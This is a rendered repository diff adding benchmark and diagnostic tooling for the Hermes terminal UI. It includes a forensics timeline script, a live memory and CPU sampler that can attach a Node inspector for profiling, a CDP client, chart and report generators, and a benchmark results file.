# --- sessions DB ------------------------------------------------------------
|
||||
abnormal_sessions = []
|
||||
db = os.path.join(HOME, ".hermes", "state.db")
|
||||
try:
|
||||
con = sqlite3.connect(f"file:{db}?mode=ro", uri=True, timeout=5)
|
||||
rows = con.execute(
|
||||
"SELECT id, source, started_at, ended_at, end_reason, message_count "
|
||||
"FROM sessions WHERE source IN ('tui','cli') AND "
|
||||
"(started_at >= ? OR (ended_at IS NOT NULL AND ended_at >= ?)) "
|
||||
"ORDER BY started_at", (SINCE, SINCE)).fetchall()
|
||||
con.close()
|
||||
for sid, source, st, en, reason, mc in rows:
|
||||
add(st, "sessions", f"START {source} session={sid} messages={mc}")
|
||||
if en is not None:
|
||||
flag = "" if reason else " ABNORMAL(no end_reason)"
|
||||
add(en, "sessions",
|
||||
f"END {source} session={sid} reason={reason or 'NULL'} messages={mc}{flag}")
|
||||
if not reason:
|
||||
abnormal_sessions.append((sid, source, st, "ended, no end_reason"))
|
||||
else:
|
||||
add(st, "sessions",
|
||||
f"NOEND {source} session={sid} messages={mc} "
|
||||
f"ABNORMAL(no ended_at recorded — crashed parent or still running)")
|
||||
abnormal_sessions.append((sid, source, st, "no ended_at"))
|
||||
except sqlite3.Error as e:
|
||||
print(f"note: sessions DB unreadable: {e}", file=sys.stderr)
|
||||
|
||||
# --- worktrees: current list + dir mtimes -----------------------------------
|
||||
worktree_snapshot = open(os.path.join(TMP, "worktrees.txt"), errors="replace").read() \
|
||||
if os.path.exists(os.path.join(TMP, "worktrees.txt")) else ""
|
||||
wt_dirs = []
|
||||
for base in ([os.path.join(HOME, "github", d, ".worktrees")
|
||||
for d in (os.listdir(os.path.join(HOME, "github"))
|
||||
if os.path.isdir(os.path.join(HOME, "github")) else [])]
|
||||
+ [os.path.join(HOME, "github", "worktrees", d)
|
||||
for d in (os.listdir(os.path.join(HOME, "github", "worktrees"))
|
||||
if os.path.isdir(os.path.join(HOME, "github", "worktrees")) else [])]):
|
||||
if not os.path.isdir(base):
|
||||
continue
|
||||
for name in os.listdir(base):
|
||||
p = os.path.join(base, name)
|
||||
if os.path.isdir(p):
|
||||
try:
|
||||
mt = os.stat(p).st_mtime
|
||||
except OSError:
|
||||
continue
|
||||
wt_dirs.append((p, mt))
|
||||
add(mt, "worktree", f"last-modified {p} "
|
||||
f"(age {round((NOW - mt) / 3600, 1)}h)")
|
||||
|
||||
# --- process snapshot -------------------------------------------------------
|
||||
running = []
|
||||
PSLINE = re.compile(r"^\s*(\d+)\s+(\w{3} \w{3} +\d+ \d{2}:\d{2}:\d{2} \d{4})\s+(\d+)\s+(.*)$")
|
||||
for line in read_lines(os.path.join(TMP, "ps.txt")):
|
||||
m = PSLINE.match(line)
|
||||
if not m:
|
||||
continue
|
||||
pid, lstart, rss, args = m.groups()
|
||||
ep = local_naive(re.sub(r" +", " ", lstart), "%a %b %d %H:%M:%S %Y")
|
||||
running.append((pid, ep, int(rss), args))
|
||||
add(ep, "proc", f"STILL-RUNNING pid={pid} rss={int(rss)//1024}MB started-here: {args[:200]}")
|
||||
|
||||
# --- emit timeline ----------------------------------------------------------
|
||||
def iso(ep):
|
||||
return datetime.fromtimestamp(ep).astimezone().strftime("%Y-%m-%dT%H:%M:%S%z")
|
||||
|
||||
print(f"# forensics timeline since {os.environ['FORENSICS_SINCE_SPEC']!r} "
|
||||
f"({iso(SINCE)}) — generated {iso(NOW)}")
|
||||
print(f"# {len(events)} events\n")
|
||||
|
||||
events.sort(key=lambda e: e[0])
|
||||
prev = None
|
||||
dup = 0
|
||||
def flush(prev, dup):
|
||||
if prev is None:
|
||||
return
|
||||
suffix = f" (x{dup + 1})" if dup else ""
|
||||
print(f"{iso(prev[0])} [{prev[1]}] {prev[2]}{suffix}")
|
||||
for ev in events:
|
||||
if prev and ev[1] == prev[1] and ev[2] == prev[2] and ev[0] - prev[0] < 5:
|
||||
dup += 1
|
||||
continue
|
||||
flush(prev, dup)
|
||||
prev, dup = ev, 0
|
||||
flush(prev, dup)
|
||||
|
||||
# --- summary ----------------------------------------------------------------
|
||||
print("\n" + "=" * 72)
|
||||
print("SUMMARY")
|
||||
print("=" * 72)
|
||||
from collections import Counter
|
||||
by_tag = Counter(e[1] for e in events)
|
||||
for tag, n in by_tag.most_common():
|
||||
print(f" {n:6d} [{tag}]")
|
||||
|
||||
ooms = [e for e in events if e[1] == "oom" and "Killed process" in e[2]]
|
||||
print(f"\nOOM kernel kills in window: {len(ooms)}")
|
||||
for e in ooms:
|
||||
m = re.search(r"Killed process (\d+) \(([^)]+)\).*?anon-rss:(\d+)kB", e[2])
|
||||
if m:
|
||||
print(f" {iso(e[0])} pid={m.group(1)} comm={m.group(2)} anon-rss={int(m.group(3))//1024}MB")
|
||||
else:
|
||||
print(f" {iso(e[0])} {e[2][:140]}")
|
||||
|
||||
oomd = [e for e in events if e[1] == "oom" and "Killed process" not in e[2]
|
||||
and ("oom" in e[2].lower())]
|
||||
print(f"OOM-related systemd/unit notices: {len(oomd)}")
|
||||
|
||||
gexits = Counter()
|
||||
for e in events:
|
||||
if e[1] == "tui-crash" and e[2].startswith("gateway exit"):
|
||||
m = re.search(r"reason=(.*)$", e[2])
|
||||
gexits[m.group(1) if m else "?"] += 1
|
||||
print(f"\ntui_gateway exits by reason (tui_gateway_crash.log):")
|
||||
for r, n in gexits.most_common():
|
||||
print(f" {n:4d} {r}")
|
||||
|
||||
sigs = Counter(e[2].split(" received")[0] for e in events
|
||||
if e[1] == "tui-crash" and " received" in e[2])
|
||||
print(f"tui_gateway signals received: {dict(sigs) if sigs else 'none'}")
|
||||
|
||||
starts = sum(1 for e in events if e[1] == "exit-diag" and e[2].startswith("gateway.start"))
|
||||
nz = sum(1 for e in events if e[1] == "exit-diag" and "exit_nonzero" in e[2])
|
||||
print(f"\nplatform gateway (hermes-gateway.service): {starts} start(s), {nz} nonzero-exit(s) in window")
|
||||
|
||||
print(f"\nabnormal tui/cli sessions (no ended_at or no end_reason): {len(abnormal_sessions)}")
|
||||
for sid, source, st, why in abnormal_sessions[-20:]:
|
||||
print(f" {iso(st)} {source} {sid}: {why}")
|
||||
|
||||
sleeps = [e for e in events if e[1] == "sleep"]
|
||||
print(f"\nsuspend/hibernate events: {len(sleeps)}")
|
||||
|
||||
print(f"\ncurrently running TUI/gateway processes: {len(running)}")
|
||||
for pid, ep, rss, args in running:
|
||||
print(f" pid={pid} since={iso(ep) if ep else '?'} rss={rss//1024}MB {args[:120]}")
|
||||
|
||||
print(f"\ncurrent git worktrees (snapshot, not historical):")
|
||||
for line in worktree_snapshot.splitlines():
|
||||
print(f" {line}")
|
||||
print("\nNOTE: worktree DELETIONS leave no on-disk record; only surviving dirs are")
|
||||
print("listed. Prune suspects: cli.py _prune_stale_worktrees (24h/72h tiers) and")
|
||||
print("the atexit _cleanup_worktree hook (removes dirty worktrees w/o unpushed commits).")
|
||||
PYEOF
|
||||
1304
bench/harness.mjs
Normal file
59
bench/live-attach.sh
Executable file
@@ -0,0 +1,59 @@
|
||||
#!/usr/bin/env bash
|
||||
# live-attach.sh — plug into a RUNNING hermes TUI (Ink or OpenTUI) and measure it.
|
||||
#
|
||||
# bench/live-attach.sh <pid> [out-dir] # sample memory+cpu until Ctrl-C
|
||||
# bench/live-attach.sh <pid> --profile [secs] # also grab a CPU profile window (default 30s)
|
||||
# bench/live-attach.sh <pid> --heap # grab a heap snapshot (large file!)
|
||||
#
|
||||
# Find your TUI pid: pgrep -af 'dist/main.js' (OpenTUI)
|
||||
# pgrep -af 'dist/entry.js' (Ink)
|
||||
# Works on any live session — no restart, no flags needed at launch:
|
||||
# profiling uses SIGUSR1 (Node opens an inspector port on demand).
|
||||
# In-TUI complements (OpenTUI only): /mem (live stats line), /heapdump.
|
||||
set -euo pipefail
|
||||
PID="${1:?usage: live-attach.sh <pid> [outdir|--profile [secs]|--heap]}"
|
||||
shift || true
|
||||
OUT="${1:-/tmp/tui-live-$PID}"; MODE="sample"; SECS=30
|
||||
[[ "${1:-}" == "--profile" ]] && { MODE=profile; OUT="/tmp/tui-live-$PID"; SECS="${2:-30}"; }
|
||||
[[ "${1:-}" == "--heap" ]] && { MODE=heap; OUT="/tmp/tui-live-$PID"; }
|
||||
mkdir -p "$OUT"
|
||||
echo "target pid=$PID cmd=$(tr '\0' ' ' </proc/$PID/cmdline | cut -c1-80)"
|
||||
echo "out: $OUT"
|
||||
|
||||
sample() {
|
||||
local f="$OUT/samples.jsonl"
|
||||
echo "sampling 1Hz → $f (Ctrl-C to stop; render: node bench/live-render.mjs $OUT)"
|
||||
local prev_cpu=0 hz; hz=$(getconf CLK_TCK)
|
||||
while kill -0 "$PID" 2>/dev/null; do
|
||||
local rss pss pdirty hwm cpu t
|
||||
rss=$(awk '/^Rss:/{print $2}' /proc/$PID/smaps_rollup 2>/dev/null || echo 0)
|
||||
pss=$(awk '/^Pss:/{print $2}' /proc/$PID/smaps_rollup 2>/dev/null || echo 0)
|
||||
pdirty=$(awk '/^Private_Dirty:/{print $2}' /proc/$PID/smaps_rollup 2>/dev/null || echo 0)
|
||||
hwm=$(awk '/^VmHWM:/{print $2}' /proc/$PID/status 2>/dev/null || echo 0)
|
||||
cpu=$(awk '{print $14+$15}' /proc/$PID/stat 2>/dev/null || echo 0)
|
||||
t=$(date +%s.%N)
|
||||
printf '{"t":%s,"rss_kb":%s,"pss_kb":%s,"private_dirty_kb":%s,"vmhwm_kb":%s,"cpu_ticks":%s,"cpu_hz":%s}\n' \
|
||||
"$t" "$rss" "$pss" "$pdirty" "$hwm" "$cpu" "$hz" >> "$f"
|
||||
sleep 1
|
||||
done
|
||||
echo "process exited; $(wc -l <"$f") samples in $f"
|
||||
}
|
||||
|
||||
cdp() { # open inspector on demand, find the ws url
|
||||
kill -USR1 "$PID"; sleep 0.7
|
||||
local port; port=$(ss -tlnp 2>/dev/null | grep "pid=$PID" | grep -oE ':(92[0-9]{2})' | head -1 | tr -d ':')
|
||||
[[ -z "$port" ]] && port=9229
|
||||
curl -s "http://127.0.0.1:$port/json" | grep -oE 'ws://[^"]+' | head -1
|
||||
}
|
||||
|
||||
case "$MODE" in
|
||||
sample) sample ;;
|
||||
profile)
|
||||
WS=$(cdp); echo "CDP: $WS — profiling ${SECS}s (interact with the TUI now!)"
|
||||
node "$(dirname "$0")/live-cdp.mjs" "$WS" profile "$SECS" "$OUT/live.cpuprofile"
|
||||
echo "→ $OUT/live.cpuprofile (open in https://speedscope.app or chrome://inspect)" ;;
|
||||
heap)
|
||||
WS=$(cdp); echo "CDP: $WS — heap snapshot (may pause the TUI briefly)"
|
||||
node "$(dirname "$0")/live-cdp.mjs" "$WS" heap 0 "$OUT/live.heapsnapshot"
|
||||
echo "→ $OUT/live.heapsnapshot (Chrome DevTools → Memory → Load)" ;;
|
||||
esac
|
||||
44
bench/live-cdp.mjs
Normal file
@@ -0,0 +1,44 @@
|
||||
#!/usr/bin/env node
|
||||
// live-cdp.mjs — minimal CDP client for live-attach.sh (no deps; Node ws via raw socket
|
||||
// is overkill — use the built-in WebSocket of Node >=22).
|
||||
// usage: node live-cdp.mjs <ws-url> profile <secs> <out> | heap 0 <out>
|
||||
const [, , url, mode, secsArg, out] = process.argv
|
||||
const { writeFileSync, appendFileSync } = await import('node:fs')
|
||||
const ws = new WebSocket(url)
|
||||
let id = 0
|
||||
const pending = new Map()
|
||||
const send = (method, params = {}) =>
|
||||
new Promise((res, rej) => {
|
||||
const i = ++id
|
||||
pending.set(i, { res, rej })
|
||||
ws.send(JSON.stringify({ id: i, method, params }))
|
||||
})
|
||||
const chunks = []
|
||||
ws.onmessage = e => {
|
||||
const m = JSON.parse(e.data)
|
||||
if (m.id && pending.has(m.id)) {
|
||||
const { res, rej } = pending.get(m.id)
|
||||
pending.delete(m.id)
|
||||
m.error ? rej(new Error(m.error.message)) : res(m.result)
|
||||
} else if (m.method === 'HeapProfiler.addHeapSnapshotChunk') chunks.push(m.params.chunk)
|
||||
}
|
||||
ws.onopen = async () => {
|
||||
try {
|
||||
if (mode === 'profile') {
|
||||
await send('Profiler.enable')
|
||||
await send('Profiler.start')
|
||||
await new Promise(r => setTimeout(r, Number(secsArg) * 1000))
|
||||
const { profile } = await send('Profiler.stop')
|
||||
writeFileSync(out, JSON.stringify(profile))
|
||||
} else {
|
||||
await send('HeapProfiler.enable')
|
||||
await send('HeapProfiler.takeHeapSnapshot', { reportProgress: false })
|
||||
writeFileSync(out, chunks.join(''))
|
||||
}
|
||||
process.exit(0)
|
||||
} catch (err) {
|
||||
console.error(String(err))
|
||||
process.exit(1)
|
||||
}
|
||||
}
|
||||
ws.onerror = err => { console.error('ws error', err.message ?? err); process.exit(1) }
|
||||
17
bench/live-render.mjs
Normal file
@@ -0,0 +1,17 @@
|
||||
#!/usr/bin/env node
|
||||
// live-render.mjs — quick chart from live-attach samples: node bench/live-render.mjs <dir>
|
||||
import { readFileSync, writeFileSync } from 'node:fs'
|
||||
const dir = process.argv[2] ?? '.'
|
||||
const rows = readFileSync(`${dir}/samples.jsonl`, 'utf8').trim().split('\n').map(l => JSON.parse(l))
|
||||
const t0 = rows[0].t
|
||||
const pts = rows.map(r => ({ t: r.t - t0, rss: r.rss_kb / 1024, hwm: r.vmhwm_kb / 1024 }))
|
||||
const W = 900, H = 360, mt = (v, max) => H - 30 - (v / max) * (H - 60)
|
||||
const maxY = Math.max(...pts.map(p => p.hwm)) * 1.1
|
||||
const path = k => pts.map((p, i) => `${i ? 'L' : 'M'}${30 + (p.t / pts.at(-1).t) * (W - 60)},${mt(p[k], maxY)}`).join('')
|
||||
const cpu = rows.map((r, i) => i ? (r.cpu_ticks - rows[i-1].cpu_ticks) / r.cpu_hz / (r.t - rows[i-1].t) : 0)
|
||||
writeFileSync(`${dir}/live.svg`, `<svg xmlns="http://www.w3.org/2000/svg" width="${W}" height="${H}" style="background:#0d0d12">
|
||||
<text x="30" y="20" fill="#ccc" font-family="monospace">live session: RSS (gold) / VmHWM (grey) MB · avg cpu ${(cpu.reduce((a,b)=>a+b,0)/Math.max(1,cpu.length-1)*100).toFixed(1)}% · ${rows.length}s</text>
|
||||
<path d="${path('hwm')}" stroke="#888" fill="none"/><path d="${path('rss')}" stroke="#F5B820" fill="none" stroke-width="2"/>
|
||||
<text x="30" y="${H-10}" fill="#888" font-family="monospace">0s</text><text x="${W-80}" y="${H-10}" fill="#888" font-family="monospace">${Math.round(pts.at(-1).t)}s</text>
|
||||
<text x="${W-120}" y="${mt(pts.at(-1).rss,maxY)}" fill="#F5B820" font-family="monospace">${pts.at(-1).rss.toFixed(0)}MB</text></svg>`)
|
||||
console.log(`${dir}/live.svg`)
|
||||
71
bench/memwatch-report.mjs
Normal file
@@ -0,0 +1,71 @@
|
||||
#!/usr/bin/env node
|
||||
// memwatch-report — aggregate the per-session NDJSON written by the TUI's
|
||||
// in-process sampler (ui-opentui/src/boundary/memlog.ts) into one fleet table.
|
||||
//
|
||||
// Usage: node memwatch-report.mjs [dir] (default ~/.hermes/logs/memwatch)
|
||||
// Output: one row per session file — start, duration, baseline/peak/last RSS,
|
||||
// peak mounted rows, and a crude steady-state slope (MB/h over the last half) —
|
||||
// plus anomaly flags: SLOPE (last-half slope > 20MB/h), PEAK (> 450MB),
|
||||
// MOUNTED (peak mounted rows > 200 — windowing should bound ~30-120).
|
||||
import { readdirSync, readFileSync } from 'node:fs'
|
||||
import { homedir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
|
||||
const dir = process.argv[2] ?? join(homedir(), '.hermes', 'logs', 'memwatch')
|
||||
|
||||
let files = []
|
||||
try {
|
||||
files = readdirSync(dir).filter(f => f.endsWith('.jsonl')).sort()
|
||||
} catch {
|
||||
console.error(`no memwatch dir at ${dir} — enable with HERMES_TUI_DIAGNOSTICS=1 (or HERMES_TUI_MEMLOG=1)`)
|
||||
process.exit(1)
|
||||
}
|
||||
if (!files.length) {
|
||||
console.error(`no sessions logged yet in ${dir}`)
|
||||
process.exit(1)
|
||||
}
|
||||
|
||||
const rows = []
|
||||
for (const f of files) {
|
||||
const samples = []
|
||||
for (const line of readFileSync(join(dir, f), 'utf8').split('\n')) {
|
||||
if (!line.trim()) continue
|
||||
try { samples.push(JSON.parse(line)) } catch { /* torn write */ }
|
||||
}
|
||||
if (samples.length < 2) continue
|
||||
const rss = samples.map(s => s.rss_kb / 1024)
|
||||
const peak = Math.max(...rss)
|
||||
const durMin = (samples.at(-1).t - samples[0].t) / 60
|
||||
// steady-state slope: least-squares over the last half of the samples
|
||||
const half = samples.slice(Math.floor(samples.length / 2))
|
||||
const t0 = half[0].t
|
||||
const xs = half.map(s => (s.t - t0) / 3600)
|
||||
const ys = half.map(s => s.rss_kb / 1024)
|
||||
const n = xs.length
|
||||
const mx = xs.reduce((a, b) => a + b, 0) / n
|
||||
const my = ys.reduce((a, b) => a + b, 0) / n
|
||||
const denom = xs.reduce((a, x) => a + (x - mx) ** 2, 0)
|
||||
const slope = denom > 0 ? xs.reduce((a, x, i) => a + (x - mx) * (ys[i] - my), 0) / denom : 0
|
||||
const peakMounted = Math.max(...samples.map(s => s.peak_mounted ?? 0))
|
||||
const flags = []
|
||||
if (slope > 20 && durMin > 10) flags.push('SLOPE')
|
||||
if (peak > 450) flags.push('PEAK')
|
||||
if (peakMounted > 200) flags.push('MOUNTED')
|
||||
rows.push({
|
||||
session: f.replace('.jsonl', ''),
|
||||
start: new Date(samples[0].t * 1000).toISOString().slice(0, 16),
|
||||
min: Math.round(durMin),
|
||||
base: Math.round(rss[0]),
|
||||
peak: Math.round(peak),
|
||||
last: Math.round(rss.at(-1)),
|
||||
mounted: peakMounted,
|
||||
'MB/h': Math.round(slope * 10) / 10,
|
||||
flags: flags.join(',') || '—'
|
||||
})
|
||||
}
|
||||
|
||||
console.table(rows)
|
||||
const flagged = rows.filter(r => r.flags !== '—')
|
||||
console.log(flagged.length
|
||||
? `\n${flagged.length} session(s) flagged — investigate with bench/live-attach.sh <pid> --heap on a live one.`
|
||||
: `\nall ${rows.length} sessions healthy (no slope/peak/mounted anomalies).`)
|
||||
31
bench/package-lock.json
generated
Normal file
@@ -0,0 +1,31 @@
|
||||
{
|
||||
"name": "@hermes/bench",
|
||||
"version": "0.0.0",
|
||||
"lockfileVersion": 3,
|
||||
"requires": true,
|
||||
"packages": {
|
||||
"": {
|
||||
"name": "@hermes/bench",
|
||||
"version": "0.0.0",
|
||||
"dependencies": {
|
||||
"node-pty": "^1.1.0"
|
||||
}
|
||||
},
|
||||
"node_modules/node-addon-api": {
|
||||
"version": "7.1.1",
|
||||
"resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz",
|
||||
"integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/node-pty": {
|
||||
"version": "1.1.0",
|
||||
"resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.1.0.tgz",
|
||||
"integrity": "sha512-20JqtutY6JPXTUnL0ij1uad7Qe1baT46lyolh2sSENDd4sTzKZ4nmAFkeAARDKwmlLjPx6XKRlwRUxwjOy+lUg==",
|
||||
"hasInstallScript": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"node-addon-api": "^7.1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
13
bench/package.json
Normal file
@@ -0,0 +1,13 @@
|
||||
{
|
||||
"name": "@hermes/bench",
|
||||
"version": "0.0.0",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"description": "TUI benchmark suite: Ink (ui-tui) vs OpenTUI (ui-opentui) over a real PTY with a fake gateway. Methodology: docs/plans/opentui-bench-suite.md.",
|
||||
"scripts": {
|
||||
"check": "node --check fake-gateway.mjs && node --check fixture-stream.mjs && node --check harness.mjs && node --check run.mjs && node --check render.mjs"
|
||||
},
|
||||
"dependencies": {
|
||||
"node-pty": "^1.1.0"
|
||||
}
|
||||
}
|
||||
1102
bench/render.mjs
Normal file
BIN
bench/report-assets/frame-gaps.png
Normal file
|
After Width: | Height: | Size: 38 KiB |
BIN
bench/report-assets/frame-rate.png
Normal file
|
After Width: | Height: | Size: 33 KiB |
BIN
bench/report-assets/mem-real-workloads.png
Normal file
|
After Width: | Height: | Size: 39 KiB |
BIN
bench/report-assets/node-count.png
Normal file
|
After Width: | Height: | Size: 54 KiB |
BIN
bench/report-assets/pipeline-cpu.png
Normal file
|
After Width: | Height: | Size: 34 KiB |
BIN
bench/report-assets/pty-rate.png
Normal file
|
After Width: | Height: | Size: 45 KiB |
BIN
bench/report-assets/rss-vs-msgs.png
Normal file
|
After Width: | Height: | Size: 79 KiB |
BIN
bench/report-assets/scroll-cdf.png
Normal file
|
After Width: | Height: | Size: 55 KiB |
BIN
bench/report-assets/session-histogram.png
Normal file
|
After Width: | Height: | Size: 54 KiB |
BIN
bench/report-assets/startup.png
Normal file
|
After Width: | Height: | Size: 39 KiB |
584
bench/report.html
Normal file
393
bench/results/2026-06-10T2043-50e3471-gate-ink-ink-r0.json
Normal file
@@ -0,0 +1,393 @@
|
||||
{
|
||||
"meta": {
|
||||
"cell": "gate",
|
||||
"ui": "ink",
|
||||
"config": "ink",
|
||||
"mode": "digest",
|
||||
"rep": 0,
|
||||
"run_id": "mq8jcwon-vztv",
|
||||
"utc": "2026-06-10T20:43:15.191Z",
|
||||
"sha": "50e34713b",
|
||||
"node": "/home/daimon/.local/share/fnm/node-versions/v26.3.0/installation/bin/node",
|
||||
"node_version": "v26.3.0",
|
||||
"pty": {
|
||||
"cols": 120,
|
||||
"rows": 40,
|
||||
"term": "xterm-256color"
|
||||
},
|
||||
"heap_mb": 8192,
|
||||
"memory_max": null,
|
||||
"opentui_cap": null,
|
||||
"fixture": {
|
||||
"path": "/home/daimon/github/worktrees/hermes-agent/lively-thrush/hermes-agent/bench/.cache/fixture-300.ndjson",
|
||||
"msgs": 300,
|
||||
"sha256": "ac81e975c299da7d50cfda7fc0fee33c356bd31a4e17a7f0f8e49905e205051a"
|
||||
},
|
||||
"sample_every": 100,
|
||||
"mode_params": {},
|
||||
"ui_pid": 2350535,
|
||||
"gw_pid": 2350547,
|
||||
"cgroup": null,
|
||||
"load_avg_at_start": [
|
||||
0.09,
|
||||
0.18,
|
||||
0.29
|
||||
],
|
||||
"instrumented": false
|
||||
},
|
||||
"samples": [
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 28,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 0,
|
||||
"pty_writes": 0,
|
||||
"rss_kb": 54864,
|
||||
"pss_kb": 28606,
|
||||
"private_dirty_kb": 17440,
|
||||
"vmhwm_kb": 54904,
|
||||
"utime_ticks": 1,
|
||||
"stime_ticks": 1
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 1035,
|
||||
"msgs": null,
|
||||
"events": null,
|
||||
"pty_bytes": 6615,
|
||||
"pty_writes": 11,
|
||||
"rss_kb": 109772,
|
||||
"pss_kb": 70491,
|
||||
"private_dirty_kb": 50616,
|
||||
"vmhwm_kb": 109772,
|
||||
"utime_ticks": 23,
|
||||
"stime_ticks": 3
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1461,
|
||||
"msgs": 100,
|
||||
"events": 355,
|
||||
"pty_bytes": 14431,
|
||||
"pty_writes": 16,
|
||||
"rss_kb": 127628,
|
||||
"pss_kb": 88252,
|
||||
"private_dirty_kb": 67748,
|
||||
"vmhwm_kb": 127648,
|
||||
"utime_ticks": 37,
|
||||
"stime_ticks": 4
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1512,
|
||||
"msgs": 200,
|
||||
"events": 738,
|
||||
"pty_bytes": 21088,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 162132,
|
||||
"pss_kb": 122735,
|
||||
"private_dirty_kb": 102252,
|
||||
"vmhwm_kb": 162148,
|
||||
"utime_ticks": 45,
|
||||
"stime_ticks": 5
|
||||
},
|
||||
{
|
||||
"kind": "boundary",
|
||||
"t_ms": 1538,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 21088,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 172044,
|
||||
"pss_kb": 132615,
|
||||
"private_dirty_kb": 112100,
|
||||
"vmhwm_kb": 172288,
|
||||
"utime_ticks": 50,
|
||||
"stime_ticks": 5
|
||||
},
|
||||
{
|
||||
"kind": "done",
|
||||
"t_ms": 1541,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 21088,
|
||||
"pty_writes": 19,
|
||||
"rss_kb": 172640,
|
||||
"pss_kb": 133211,
|
||||
"private_dirty_kb": 112696,
|
||||
"vmhwm_kb": 173288,
|
||||
"utime_ticks": 50,
|
||||
"stime_ticks": 5
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 2039,
|
||||
"msgs": 300,
|
||||
"events": null,
|
||||
"pty_bytes": 28559,
|
||||
"pty_writes": 23,
|
||||
"rss_kb": 179128,
|
||||
"pss_kb": 139667,
|
||||
"private_dirty_kb": 119184,
|
||||
"vmhwm_kb": 184828,
|
||||
"utime_ticks": 57,
|
||||
"stime_ticks": 5
|
||||
},
|
||||
{
|
||||
"kind": "final",
|
||||
"t_ms": 2919,
|
||||
"msgs": 300,
|
||||
"events": 1051,
|
||||
"pty_bytes": 28604,
|
||||
"pty_writes": 24,
|
||||
"rss_kb": 179136,
|
||||
"pss_kb": 139675,
|
||||
"private_dirty_kb": 119192,
|
||||
"vmhwm_kb": 184828,
|
||||
"utime_ticks": 57,
|
||||
"stime_ticks": 5
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 3046,
|
||||
"msgs": 300,
|
||||
"events": null,
|
||||
"pty_bytes": 32118,
|
||||
"pty_writes": 26,
|
||||
"rss_kb": 185304,
|
||||
"pss_kb": 145843,
|
||||
"private_dirty_kb": 125360,
|
||||
"vmhwm_kb": 185304,
|
||||
"utime_ticks": 61,
|
||||
"stime_ticks": 5
|
||||
},
|
||||
{
|
||||
"kind": "periodic",
|
||||
"t_ms": 4050,
|
||||
"msgs": 300,
|
||||
"events": null,
|
||||
"pty_bytes": 42828,
|
||||
"pty_writes": 32,
|
||||
"rss_kb": 186164,
|
||||
"pss_kb": 146703,
|
||||
"private_dirty_kb": 126220,
|
||||
"vmhwm_kb": 186164,
|
||||
"utime_ticks": 63,
|
||||
"stime_ticks": 6
|
||||
}
|
||||
],
|
||||
"events": [
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 177
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "commands.catalog",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "setup.status",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.create",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 202
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 227
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 227
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "session.active_list",
|
||||
"t_ms": 227
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 227
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 227
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1410
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1435
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1435
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1461
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1461
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1461
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1485
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1512
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1512
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1541
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1560
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1560
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1585
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
"t_ms": 1585
|
||||
},
|
||||
{
|
||||
"kind": "rpc",
|
||||
"method": "config.get",
|
||||
